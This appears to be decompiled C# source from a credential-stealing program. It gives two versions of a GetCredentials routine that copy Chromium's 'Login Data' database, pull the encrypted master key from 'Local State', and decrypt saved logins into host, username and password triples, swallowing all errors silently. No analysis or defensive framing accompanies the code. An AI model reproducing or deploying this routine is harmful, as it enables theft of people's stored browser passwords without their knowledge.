private static List <LoginPair> GetCredentials(string profilePath) { List <LoginPair> loginPairList = new List <LoginPair>(); try { string str = Path.Combine(profilePath, "Login Data"); if (!File.Exists(str)) { return(loginPairList); } string[] strArray = profilePath.Split(new string[1] { "\\" }, StringSplitOptions.RemoveEmptyEntries); string localStatePath = Path.Combine(string.Join("\\", ((IEnumerable <string>)strArray).Take <string>(strArray.Length - 1).ToArray <string>()), "Local State"); SqlConnection manager = new SqlConnection(DecryptHelper.CreateTempCopy(str)); manager.ReadTable("logins"); for (int row = 0; row < manager.RowLength; ++row) { LoginPair loginPair = new LoginPair(); try { loginPair = ChromiumEngine.ReadData(manager, row, localStatePath); } catch { } if (loginPair.Login.IsNotNull <string>() && loginPair.Login != "UNKNOWN" && (loginPair.Password != "UNKNOWN" && loginPair.Host != "UNKNOWN")) { loginPairList.Add(loginPair); } } } catch { } return(loginPairList); }
// Token: 0x060002E0 RID: 736 RVA: 0x0000DD64 File Offset: 0x0000BF64 private static List <LoginPair> GetCredentials(string profilePath) { List <LoginPair> list = new List <LoginPair>(); try { string text = Path.Combine(profilePath, "Login Data"); if (!File.Exists(text)) { return(list); } string text2 = string.Empty; string text3 = string.Empty; if (string.IsNullOrWhiteSpace(text2)) { try { string[] array = profilePath.Split(new string[] { "\\" }, StringSplitOptions.RemoveEmptyEntries); array = array.Take(array.Length - 1).ToArray <string>(); text3 = Path.Combine(string.Join("\\", array), "Local State"); if (!File.Exists(text3)) { text3 = Path.Combine(profilePath, "Local State"); } if (File.Exists(text3)) { try { bool flag; string path = DecryptHelper.TryCreateTemp(text3, out flag); text2 = File.ReadAllText(path).FromJSON()["os_crypt"]["encrypted_key"].ToString(false); if (flag) { File.Delete(path); } } catch (Exception) { } } } catch { } } bool flag2; string text4 = DecryptHelper.TryCreateTemp(text, out flag2); try { SqlConnection sqlConnection = new SqlConnection(text4); sqlConnection.ReadTable("logins"); for (int i = 0; i < sqlConnection.RowLength; i++) { LoginPair loginPair = new LoginPair(); try { loginPair = ChromiumEngine.ReadData(sqlConnection, i, text2); } catch { } if (loginPair.Password != "UNKNOWN") { list.Add(loginPair); } } } catch (Exception) { } if (flag2) { File.Delete(text4); } } catch (Exception) { } return(list); }